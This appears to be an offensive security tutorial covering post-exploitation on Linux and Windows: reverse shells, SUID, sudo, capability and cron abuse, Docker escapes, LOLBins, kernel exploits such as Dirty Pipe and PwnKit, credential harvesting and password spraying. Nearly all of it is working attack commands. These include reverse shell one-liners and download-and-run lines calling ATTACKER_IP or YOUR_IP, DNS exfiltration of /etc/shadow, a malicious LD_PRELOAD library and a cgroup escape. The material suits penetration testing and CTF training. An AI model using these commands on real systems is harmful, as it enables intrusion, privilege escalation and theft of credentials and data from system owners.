Reverse shells, privilege escalation, container escapes, and pivoting. Low-priv to root.
You have a shell. Now go from low-priv user to root/SYSTEM on both Linux and Windows.
Once you find code execution (the ability to run commands on the target), you need an interactive shell — a command line on the target machine that you can type into. A reverse shell makes the target connect back to your machine (useful when the target is behind a firewall). A bind shell opens a port on the target for you to connect to. Here are the most common reverse shell commands:
# Bash reverse shell
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# PHP reverse shell
php -r '$s=fsockopen("ATTACKER_IP",PORT);exec("/bin/bash <&3 >&3 2>&3");'
# PowerShell reverse shell
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"
# Netcat (with -e available)
nc -e /bin/bash ATTACKER_IP PORT
# Netcat (without -e — use named pipe)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f
# Listener on your machine (catches the incoming connection):
# nc = netcat (network Swiss Army knife)
# -l = listen mode, -v = verbose, -n = no DNS lookup, -p = port number
nc -lvnp PORT
# rlwrap adds readline support (arrow keys, command history) to your listener:
rlwrap nc -lvnp PORT
A basic reverse shell is limited — no tab completion, no arrow keys, and Ctrl+C kills the whole session. Upgrading to a full PTY (pseudo-terminal) gives you a proper interactive terminal, just like SSH.
# Step 1: Spawn a PTY (pseudo-terminal — a proper interactive terminal)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 2: Background the shell
Ctrl+Z
# Step 3: Fix terminal settings on attacker
stty raw -echo; fg
# Step 4: Set environment
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 160 # Match your terminal size
# Alternative: script -based PTY
script /dev/null -c bash
You're in as a low-privilege user. Now become root. This is a systematic process — check things in order.
find as root, GTFOBins shows how to use it to spawn a root shell)find / -perm -4000 2>/dev/null (explained below)getcap -r / 2>/dev/null (explained below)cat /etc/crontab, check /etc/cron.*uname -a → search for known CVEsss -tlnp → anything bound to 127.0.0.1?backup instead of /usr/bin/backup, you can create your own malicious backup in a directory that's checked firstSUID (Set User ID) is a special Linux permission that makes a program run as the file's owner instead of the person who ran it. If a binary owned by root has the SUID bit set, it runs as root — even when you run it as a regular user. Finding an exploitable SUID binary is one of the most common ways to escalate to root.
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Common SUID escalations (check GTFOBins for each):
# /usr/bin/find (SUID)
find . -exec /bin/bash -p \;
# /usr/bin/vim (SUID)
vim -c ':!/bin/bash'
# /usr/bin/python3 (SUID)
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# /usr/bin/cp (SUID) — overwrite /etc/passwd
# Generate password hash:
openssl passwd -1 -salt xyz hacker
# Create modified passwd file with root-level user:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd
su hacker
# /usr/bin/base64 (SUID) — read any file
base64 /etc/shadow | base64 -d
# /usr/bin/env (SUID)
env /bin/bash -p
# Custom/unknown SUID binary? Check:
# - Does it call other programs? (strings, ltrace, strace)
# - Can you inject a library? (LD_PRELOAD, RPATH)
# - Does it read config files you control?
find / -perm -4000 is one of the first privesc checks — any SUID binary that can spawn a shell or read/write files gives you root access. Check GTFOBins for exploitation methods.$ find / 2>/dev/null
-perm -4000 searches for files with the SUID bit set (4000 in octal). The 2>/dev/null redirects permission errors to keep output clean. Compare the results against GTFOBins to find exploitable binaries. Common exploitable SUID binaries: find, vim, python3, env, base64.Linux capabilities are a finer-grained alternative to SUID — instead of giving a program full root access, capabilities grant specific privileges (like binding to low ports, or changing user IDs). However, some capabilities are just as dangerous as full root if assigned to the wrong program.
# Find capabilities — look for programs that have been given extra privileges
getcap -r / 2>/dev/null
# cap_setuid — can change UID
# python3 with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_dac_read_search — can read any file
# tar with cap_dac_read_search:
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow
# cap_net_raw — can sniff network traffic
# tcpdump with cap_net_raw (capture credentials):
tcpdump -i eth0 -A port 80 | grep -i "pass\|user"
# cap_sys_admin — very powerful
# mount filesystems, load kernel modules, etc.
# Check all cron locations
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
crontab -l # Current user's cron
ls -la /var/spool/cron/crontabs/ # All user crontabs
# Use pspy (process spy) to watch for processes that run periodically
# — it monitors the proc filesystem, so no root needed!
./pspy64 -pf -i 1000
# Exploitation scenarios:
# 1. Writable script in cron
# If /opt/backup.sh runs as root and you can edit it:
echo 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1' >> /opt/backup.sh
# 2. Wildcard injection (tar with *)
# If cron runs: cd /home/user && tar czf /tmp/backup.tar.gz *
# Create these files:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'
echo 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1' > shell.sh
# 3. PATH manipulation
# If cron script calls 'backup' without full path (/usr/bin/backup):
# And you can write to a directory earlier in PATH:
echo '#!/bin/bash' > /tmp/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
# Automated enumeration
# LinPEAS — the gold standard
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
# pspy — watch processes without root
./pspy64 -pf -i 1000 # See what runs periodically
# Linux Smart Enumeration
curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | bash
Containers are everywhere. If you land inside a Docker container, here's how to escape. If you find the target user is in the docker group, it's basically instant root.
# Signs you're in a Docker container:
ls -la /.dockerenv # This file exists?
cat /proc/1/cgroup | grep docker # "docker" in cgroup paths?
hostname # Random hex string? (e.g., a1b2c3d4e5f6)
cat /proc/1/sched | head -1 # PID 1 is not "init"?
mount | grep overlay # Overlay filesystem?
ip addr # Only eth0 and lo? (no physical NICs)
ls /dev # Fewer devices than normal?
# If your user is in the 'docker' group, you can mount the host filesystem:
id # Check: uid=1000(user) gid=1000(user) groups=...,999(docker)
# Mount host filesystem and chroot:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# You now have a root shell on the HOST
# Or just read sensitive files:
docker run -v /:/mnt --rm alpine cat /mnt/etc/shadow
docker run -v /:/mnt --rm alpine cat /mnt/root/root.txt
# Add your SSH key:
docker run -v /:/mnt --rm alpine sh -c 'echo "YOUR_PUBLIC_KEY" >> /mnt/root/.ssh/authorized_keys'
# If the container runs with --privileged:
# You have access to host devices!
fdisk -l # List host disks
mount /dev/sda1 /mnt # Mount host filesystem
chroot /mnt # Root shell on host!
# Or via cgroups:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "#!/bin/bash" > /cmd
echo "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1" >> /cmd
chmod +x /cmd
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# If /var/run/docker.sock is mounted inside the container:
ls -la /var/run/docker.sock
# Use it to create a privileged container:
# Install docker CLI or use curl:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
# Create a new container with host filesystem:
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Mounts":[{"Type":"bind","Source":"/","Target":"/mnt"}],"Privileged":true}'
docker group effectively give you root access?docker run -v /:/mnt --rm -it alpine chroot /mnt sh — this mounts the entire host filesystem and gives you a root shell on the host. The Docker daemon runs as root, so containers can access host resources. This is why the docker group should be treated as equivalent to root access in security assessments."Living Off the Land" means using tools that are already installed on the system instead of uploading your own. LOLBins are legitimate, trusted system binaries (like certutil, curl, or python3) that can be repurposed for offensive tasks — file transfers, code execution, data exfiltration, or persistence. Security tools are less likely to flag these because they're normal programs doing "normal" things. This is how you operate when you can't upload tools to the target.
# File download (when wget/curl aren't available):
# Using bash built-ins:
exec 3<>/dev/tcp/YOUR_IP/8888; echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: YOUR_IP\r\n\r\n" >&3; cat <&3 > /tmp/linpeas.sh
# Using python:
python3 -c "import urllib.request; urllib.request.urlretrieve('http://YOUR_IP:8888/linpeas.sh', '/tmp/linpeas.sh')"
# Using perl:
perl -e 'use File::Fetch; File::Fetch->new(uri=>"http://YOUR_IP:8888/file")->fetch(to=>"/tmp/")'
# Using php:
php -r 'file_put_contents("/tmp/file", file_get_contents("http://YOUR_IP:8888/file"));'
# File exfiltration:
# Base64 encode → copy-paste:
base64 /etc/shadow
cat /etc/shadow | xxd -p # Hex encode
# Via DNS (bypasses most firewalls!):
cat /etc/shadow | xxd -p | head -c 60 | xargs -I{} nslookup {}.YOUR_DOMAIN
# Code execution without writing files:
# Bash process substitution:
bash <(curl -s http://YOUR_IP:8888/script.sh)
# Python from stdin:
curl -s http://YOUR_IP:8888/payload.py | python3
# Perl one-liner:
perl -e 'exec "/bin/bash"'
# File download:
certutil -urlcache -split -f http://YOUR_IP:8888/payload.exe C:\Temp\payload.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP/nc.exe','C:\Temp\nc.exe')"
bitsadmin /transfer job /download /priority high http://YOUR_IP/file C:\Temp\file
curl http://YOUR_IP/file -o C:\Temp\file # Windows 10+
# Code execution:
mshta http://YOUR_IP/payload.hta
rundll32 \\YOUR_IP\share\payload.dll,EntryPoint
regsvr32 /s /n /u /i:http://YOUR_IP/payload.sct scrobj.dll
# Reconnaissance (without suspicious tools):
systeminfo
net user
net localgroup administrators
net share
wmic qfe list # Installed patches
wmic product get name # Installed software
wmic service get name,pathname # Service paths (look for unquoted)
Get-Process | Select ProcessName, Path # PowerShell
# Check https://lolbas-project.github.io/ for the full list!
# System info
systeminfo
whoami /priv # Check token privileges
whoami /groups # Group memberships
whoami /all # Everything
# Service exploitation
sc qc ServiceName # Check service config
# Look for: unquoted paths, writable service binaries
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"
# Unquoted service path exploitation:
# If path is: C:\Program Files\My App\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe, etc.
# Place your payload at one of those paths!
# Always Install Elevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msiexec /quiet /qn /i payload.msi
# Scheduled tasks
schtasks /query /fo LIST /v
# Stored credentials
cmdkey /list
# If found: runas /savecred /user:admin cmd.exe
# AutoRun programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check if any point to writable locations
# DLL hijacking — find missing DLLs
# Use Process Monitor, filter for "NAME NOT FOUND" on DLL loads
# Place your malicious DLL in the application directory
💡 Key privilege: If you seeSeImpersonatePrivilegeinwhoami /priv, you can likely escalate to SYSTEM using tools like JuicyPotato, PrintSpoofer, or GodPotato. This privilege is common for service accounts and IIS application pools.
Windows uses "tokens" to track a user's security context (who they are and what they can do). Token impersonation lets a process "borrow" another user's token — including SYSTEM (the highest privilege on Windows). If your account has the SeImpersonatePrivilege, tools like PrintSpoofer and GodPotato can trick a SYSTEM-level process into authenticating to you, then steal its token.
# Check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:
whoami /priv
# PrintSpoofer (Windows 10/Server 2019+):
PrintSpoofer.exe -i -c cmd
# GodPotato (latest, most reliable):
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "C:\Temp\nc.exe YOUR_IP 9001 -e cmd"
# JuicyPotato (older systems):
JuicyPotato.exe -l 1337 -p C:\Temp\nc.exe -a "YOUR_IP 9001 -e cmd" -t *
Once you have access to one machine, use it as a "pivot" to reach other machines on internal networks that you can't access directly. Port forwarding tunnels traffic through the compromised host, letting you interact with internal services as if you were on the same network.
# SSH local port forward (access internal service through compromised host)
ssh -L 8080:INTERNAL_IP:80 user@compromised
# Now http://localhost:8080 on YOUR machine → port 80 on INTERNAL_IP
# SSH dynamic SOCKS proxy (route all traffic through compromised host)
ssh -D 1080 user@compromised
# Configure Burp/browser to use SOCKS5 proxy at 127.0.0.1:1080
# Chisel — a tunneling tool that works over HTTP (no SSH needed — great for limited shells)
# On attacker:
chisel server -p 8000 --reverse
# On target:
chisel client YOUR_IP:8000 R:8080:127.0.0.1:80
# Now YOUR_IP:8080 → target's localhost:80
# Ligolo-ng — modern, fast network tunneling tool (creates a full tunnel, not just port forwards)
# On attacker:
ligolo-proxy -selfcert
# On target:
ligolo-agent -connect YOUR_IP:11601 -ignore-cert
# In ligolo console: configure tunnel routes
When nothing else works — no SUID abuse, no writable cron, no sudo misconfig — kernel exploits are the nuclear option. These attack vulnerabilities in the Linux kernel itself to gain root. They're powerful but risky: a failed kernel exploit can crash the entire system. In a real engagement, this is your last resort.
┌─────────────────────────────────────────────────────────────────┐
│ KERNEL EXPLOIT WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. IDENTIFY KERNEL VERSION │
│ ┌──────────────────────────────┐ │
│ │ $ uname -a │ │
│ │ $ cat /etc/os-release │ │
│ │ $ cat /proc/version │ │
│ └──────────────┬───────────────┘ │
│ │ │
│ ▼ │
│ 2. SEARCH FOR EXPLOITS │
│ ┌──────────────────────────────┐ │
│ │ $ searchsploit linux kernel │ │
│ │ [kernel version] │ │
│ │ Google: "kernel X.Y.Z │ │
│ │ privilege escalation" │ │
│ │ Check linux-exploit- │ │
│ │ suggester.sh │ │
│ └──────────────┬───────────────┘ │
│ │ │
│ ▼ │
│ 3. DOWNLOAD & COMPILE │
│ ┌──────────────────────────────┐ │
│ │ Transfer .c to target │ │
│ │ $ gcc exploit.c -o exploit │ │
│ │ (or compile on attacker │ │
│ │ with matching arch) │ │
│ └──────────────┬───────────────┘ │
│ │ │
│ ▼ │
│ 4. RUN & PRAY │
│ ┌──────────────────────────────┐ │
│ │ $ chmod +x exploit │ │
│ │ $ ./exploit │ │
│ │ # whoami → root (hopefully) │ │
│ └──────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
# Get kernel version
uname -a
# Example output: Linux target 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux
# OS release info
cat /etc/os-release
cat /etc/issue
lsb_release -a
# Detailed kernel info
cat /proc/version
# Architecture matters for compiling
uname -m # x86_64, i686, aarch64
# searchsploit (local copy of Exploit-DB)
searchsploit linux kernel 5.4 privilege escalation
searchsploit linux kernel 5.4 local
# Copy exploit to current directory
searchsploit -m 50808 # -m = mirror (copy to pwd)
# Linux Exploit Suggester (automated)
# Download: https://github.com/The-Z-Labs/linux-exploit-suggester
./linux-exploit-suggester.sh --uname "$(uname -a)"
# Linux Exploit Suggester 2 (Perl version)
perl les2.pl
# Manual research
# Google: "Linux [kernel version] privilege escalation CVE"
# Check: https://www.exploit-db.com/
# If gcc is on target — compile directly
gcc exploit.c -o exploit -static
# -static links all libraries into the binary (no dependency issues)
# If no gcc on target — cross-compile on attacker
# For x86_64 target:
gcc -o exploit exploit.c -static -m64
# Transfer to target
# On attacker:
python3 -m http.server 8888
# On target:
wget http://ATTACKER_IP:8888/exploit
# or
curl http://ATTACKER_IP:8888/exploit -o /tmp/exploit
# Run it
chmod +x /tmp/exploit
/tmp/exploit
whoami # root?
Dirty Pipe (CVE-2022-0847) — Linux 5.8 to 5.16.11
One of the cleanest kernel exploits ever. Overwrites data in read-only files by abusing a flaw in Linux pipe handling. Can overwrite /etc/passwd to set root's password, or overwrite any SUID binary. Very stable — rarely crashes the system.
# Check if vulnerable
uname -r # Kernel 5.8 to 5.16.11 (before patches)
# Get the exploit
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o dirtypipe
# Method 1: Overwrite /etc/passwd (set root password)
./dirtypipe /etc/passwd 1 "${oot_replacement_string}"
# Method 2: Hijack a SUID binary
./dirtypipe-2 # Overwrites /usr/bin/su, run 'su' for root shell
# Why it's special:
# - Works on read-only files
# - Doesn't corrupt filesystem
# - Very reliable
# - Changes are in memory only (revert on reboot)
Dirty COW (CVE-2016-5195) — Linux 2.6.22 to 4.8.3
A race condition in the kernel's copy-on-write (COW) memory mechanism. Existed for 9 years before discovery. Allows writing to read-only memory mappings. Multiple exploit variants exist.
# Check if vulnerable
uname -r # Kernel 2.6.22 to 4.8.3 (very common on old systems)
# Variant 1: Overwrite /etc/passwd
# https://www.exploit-db.com/exploits/40839
gcc -pthread 40839.c -o dirtycow -lcrypt
./dirtycow # Creates user 'firefart' with root UID
# Variant 2: PTRACE_POKEDATA (write to any file)
# https://www.exploit-db.com/exploits/40616
gcc -pthread 40616.c -o cowroot
./cowroot
# WARNING: Dirty COW can be unstable!
# - Race condition means it might need multiple attempts
# - Can corrupt files if interrupted
# - Old kernels may behave unpredictably
# - ALWAYS have a backup plan
PwnKit (CVE-2021-4034) — pkexec (polkit)
Not technically a kernel exploit but a SUID binary exploit in pkexec (part of PolicyKit/polkit). Affects virtually every Linux distro from 2009 to 2022. Extremely reliable. This is the first exploit you should try on any unpatched Linux box.
# Check if vulnerable
ls -la /usr/bin/pkexec # SUID bit set?
dpkg -l policykit-1 2>/dev/null # Check version
rpm -qa polkit 2>/dev/null
# Pre-compiled versions available
# https://github.com/ly4k/PwnKit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit # instant root shell
# Or compile from source
gcc cve-2021-4034.c -o pwnkit
./pwnkit
# Why it's the best:
# - Works on almost any Linux box (2009-2022)
# - No race condition — 100% reliable
# - Instant root
# - Clean — no system corruption
⚠️ Stability Warning: Kernel exploits can crash the target system. In a real penetration test, always get written permission before using kernel exploits, inform the client of the risk, and save them for last resort. In CTFs, go nuts — the VMs are disposable. When possible, prefer PwnKit and Dirty Pipe over Dirty COW — they're much more stable.
Once you have a shell — even a low-privilege one — your first order of business is hunting for credentials. Passwords, API keys, tokens, SSH keys — these are scattered all over real-world systems. Finding one password can unlock everything. This is the most important post-exploitation skill you can develop.
# Web application configs (these almost always contain DB passwords)
cat /var/www/html/.env # Laravel, Node.js, etc.
cat /var/www/html/wp-config.php # WordPress
cat /var/www/html/config/database.yml # Ruby on Rails
cat /var/www/html/settings.py # Django
cat /var/www/html/application.properties # Java Spring
cat /var/www/html/config.php # Generic PHP apps
cat /var/www/html/web.config # ASP.NET (IIS)
cat /var/www/html/.htpasswd # Apache basic auth passwords
# Database configuration
cat /etc/mysql/my.cnf # MySQL config
cat /etc/postgresql/*/main/pg_hba.conf # PostgreSQL auth config
cat /var/lib/pgsql/data/pg_hba.conf # PostgreSQL (RHEL)
# CMS and app-specific locations
find / -name "wp-config.php" 2>/dev/null
find / -name ".env" 2>/dev/null
find / -name "config.php" 2>/dev/null
find / -name "database.yml" 2>/dev/null
find / -name "settings.py" 2>/dev/null
find / -name "application.properties" 2>/dev/null
# Bash history (the #1 place to find passwords)
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
# People type passwords in commands ALL THE TIME:
# mysql -u root -pP@ssw0rd123
# sshpass -p 'hunter2' ssh [email protected]
# curl -u admin:s3cret http://internal-api/
# echo 'password123' | sudo -S command
# Other history files
cat ~/.mysql_history # MySQL commands
cat ~/.psql_history # PostgreSQL commands
cat ~/.python_history # Python REPL
cat ~/.node_repl_history # Node.js REPL
cat ~/.rediscli_history # Redis CLI
cat ~/.dbshell # MongoDB shell history
# Search ALL history files at once
find / -name ".*_history" -o -name ".*history" 2>/dev/null | xargs cat 2>/dev/null
# Find SSH private keys (these give you access to other machines)
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "id_dsa" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null
# Check SSH configs for hosts
cat ~/.ssh/config # Saved SSH connections
cat ~/.ssh/known_hosts # Hosts this user has connected to
cat ~/.ssh/authorized_keys # Who can log in as this user
# Check all users' SSH directories
ls -laR /home/*/.ssh/ 2>/dev/null
ls -laR /root/.ssh/ 2>/dev/null
# If you find a private key:
chmod 600 id_rsa
ssh -i id_rsa user@target
# grep for passwords in files
grep -rli "password" /var/www/ 2>/dev/null
grep -rli "passwd" /etc/ 2>/dev/null
grep -rli "pass=" /opt/ 2>/dev/null
grep -rli "DB_PASSWORD\|DB_PASS\|MYSQL_PASSWORD" /var/www/ 2>/dev/null
# grep for specific patterns
grep -rn "password\s*=" /var/www/ 2>/dev/null
grep -rn "api[_-]?key" /opt/ /var/www/ 2>/dev/null
grep -rn "secret\s*=" /var/www/ 2>/dev/null
grep -rn "token\s*=" /opt/ 2>/dev/null
# Find recently modified files (recently edited configs often have creds)
find / -name "*.conf" -mtime -7 2>/dev/null
find / -name "*.cfg" -mtime -7 2>/dev/null
find / -name "*.ini" -mtime -7 2>/dev/null
# Find files owned by root that are world-readable
find /etc -type f -perm -004 -exec grep -li "pass" {} \; 2>/dev/null
# Backup files often contain credentials
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.save" 2>/dev/null
find / -name "*.sql" -o -name "*.sql.gz" 2>/dev/null # DB dumps
# Environment variables
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
# Look in /tmp and /dev/shm (attackers and admins leave stuff here)
ls -la /tmp/
ls -la /dev/shm/
# Firefox stored credentials
find / -name "logins.json" 2>/dev/null
find / -name "key4.db" 2>/dev/null
# Use firefox_decrypt to extract: https://github.com/unode/firefox_decrypt
# Chrome stored credentials (Linux)
find / -name "Login Data" 2>/dev/null # SQLite database
# Usually at: ~/.config/google-chrome/Default/Login Data
# Windows stored creds
# Credential Manager
cmdkey /list
# SAM database (needs SYSTEM-level access)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Then extract with impacket-secretsdump on attacker:
# impacket-secretsdump -sam sam.bak -system system.bak LOCAL
# Windows WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear
# Memory dumps (if you have root/SYSTEM)
# Linux: /proc/[pid]/maps and /proc/[pid]/mem
# Windows: procdump, comsvcs MiniDump
💡 Pro Tip: In real pentests, credential harvesting is often more valuable than exploiting a vulnerability. One database password from a .env file can lead to credentials reused across the entire network. Spend time here — it pays off more than anything else.
You found a password. Now what? Try it everywhere. Password reuse is the #1 privilege escalation vector in real environments. People use the same password for their database, their SSH login, their domain account, and their email. One password can unlock the entire network.
# Found: DBpassword123 from a WordPress config
# Now test it against everything:
# 1. Try it for root on this machine
su root # Enter the password
sudo -S id <<< "DBpassword123" # Pipe it to sudo
# 2. Try it for ALL users on this machine
cat /etc/passwd | grep -v nologin | grep -v false | cut -d: -f1
# For each user:
su username
# 3. Try it on SSH for other machines you've discovered
ssh [email protected]
ssh [email protected]
# 4. Try variations
# DBpassword123 → DBpassword124
# DBpassword123 → DBpassword2024
# DBpassword123 → Dbpassword123!
# CrackMapExec (CME) / NetExec — test one password against many targets
# SSH spray (test password against all hosts in a subnet)
crackmapexec ssh 10.10.10.0/24 -u admin -p 'DBpassword123'
# SMB spray (Windows/Active Directory)
crackmapexec smb 10.10.10.0/24 -u admin -p 'DBpassword123'
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'DBpassword123' # Many users, one password
# WinRM spray
crackmapexec winrm 10.10.10.0/24 -u admin -p 'DBpassword123'
# Test multiple passwords against multiple users
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --no-bruteforce
# --no-bruteforce pairs users[i] with passwords[i] (same position)
# Without flag: tests every user against every password (careful — lockouts!)
# Build your password list from what you've found
echo "DBpassword123" > found_passwords.txt
echo "admin123" >> found_passwords.txt
echo "Welcome1" >> found_passwords.txt
# Hydra can test passwords against many protocols
# SSH with a list of passwords
hydra -l admin -P found_passwords.txt ssh://10.10.10.5
# FTP
hydra -l admin -P found_passwords.txt ftp://10.10.10.5
# MySQL
hydra -l root -P found_passwords.txt mysql://10.10.10.5
# SMB
hydra -l admin -P found_passwords.txt smb://10.10.10.5
# RDP
hydra -l admin -P found_passwords.txt rdp://10.10.10.5
# Multiple users
hydra -L users.txt -P found_passwords.txt ssh://10.10.10.5 -t 4
# -t 4 limits to 4 concurrent connections (avoid lockouts)
💡 Real Talk: In professional pentests, password reuse gets you further than any exploit. The scenario looks like this: find MySQL password in wp-config.php → same password works for SSH → same password works for the admin's domain account → domain admin in 20 minutes. The technical exploits get you in the door; password reuse gets you the keys to the building.
sudo -l is the single most important command in Linux privilege escalation. It tells you exactly what you can run as root. But understanding the output and knowing all the exploitation angles takes practice.
# Run sudo -l and read the output carefully
sudo -l
# Example output:
# Matching Defaults entries for user on target:
# env_reset, mail_badpass, env_keep+=LD_PRELOAD
#
# User user may run the following commands on target:
# (ALL) NOPASSWD: /usr/bin/find
# (ALL : ALL) NOPASSWD: /usr/bin/vim
# (root) NOPASSWD: /opt/scripts/backup.sh
# (ALL) NOPASSWD: /usr/bin/env
# (ALL) /usr/bin/less
# Key things to notice:
# (ALL) NOPASSWD: = run as any user without password
# (root) = can only run as root
# (ALL : ALL) = can run as any user AND any group
# NOPASSWD: = no password needed
# If NOPASSWD is missing, you need the CURRENT user's password
# Check GTFOBins for EVERY binary you see:
# https://gtfobins.github.io/
# For each binary in sudo -l:
# 1. Go to https://gtfobins.github.io/
# 2. Search for the binary name
# 3. Click "Sudo" section
# 4. Follow the command
# Common GTFOBins sudo escalations:
# /usr/bin/find
sudo find . -exec /bin/bash \; -quit
# /usr/bin/vim
sudo vim -c ':!/bin/bash'
# /usr/bin/less
sudo less /etc/shadow
# Then type: !/bin/bash
# /usr/bin/more
sudo more /etc/shadow
# Then type: !/bin/bash
# /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'
# /usr/bin/nmap (older versions with --interactive)
sudo nmap --interactive
# nmap> !sh
# /usr/bin/nmap (newer — use script)
TF=$(mktemp)
echo 'os.execute("/bin/bash")' > $TF
sudo nmap --script=$TF
# /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'
# /usr/bin/perl
sudo perl -e 'exec "/bin/bash";'
# /usr/bin/ruby
sudo ruby -e 'exec "/bin/bash"'
# /usr/bin/env
sudo env /bin/bash
# /usr/bin/man
sudo man man
# Then type: !/bin/bash
# /usr/bin/ftp
sudo ftp
# ftp> !/bin/bash
# /usr/bin/socat
sudo socat stdin exec:/bin/bash
# /usr/bin/zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'bash #'
# /usr/bin/tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# /usr/bin/apache2 (read files as root)
sudo apache2 -f /etc/shadow
# Error message leaks file contents!
If sudo -l output shows env_keep+=LD_PRELOAD in the Defaults, you can hijack any sudo command by preloading a malicious shared library that spawns a root shell.
# Check: does sudo preserve LD_PRELOAD?
sudo -l
# Look for: env_keep+=LD_PRELOAD
# Create malicious shared library
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
# Compile it
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# Run ANY allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
# or
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/apache2
# Any command works — the library runs before the actual program!
# Similar to LD_PRELOAD but replaces a specific library
# Check: does sudo preserve LD_LIBRARY_PATH?
sudo -l
# Look for: env_keep+=LD_LIBRARY_PATH
# Find what libraries the sudo binary uses
ldd /usr/bin/apache2
# Create a malicious version of one of those libraries
# Example: if it loads libcrypt.so.1
cat > /tmp/libcrypt.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/libcrypt.so.1 /tmp/libcrypt.c
# Run with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /usr/bin/apache2
# If sudoers has wildcard entries like:
# user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/*
# user ALL=(root) NOPASSWD: /usr/bin/less /opt/reports/*.txt
# Exploit with path traversal!
sudo /usr/bin/cat /var/log/../../etc/shadow
sudo /usr/bin/less /opt/reports/../../etc/shadow
# If sudoers allows: /usr/bin/find /var/tmp/*
sudo /usr/bin/find /var/tmp/ -exec /bin/bash \; -quit
# Environment variable abuse with scripts
# If sudoers allows: /opt/scripts/backup.sh
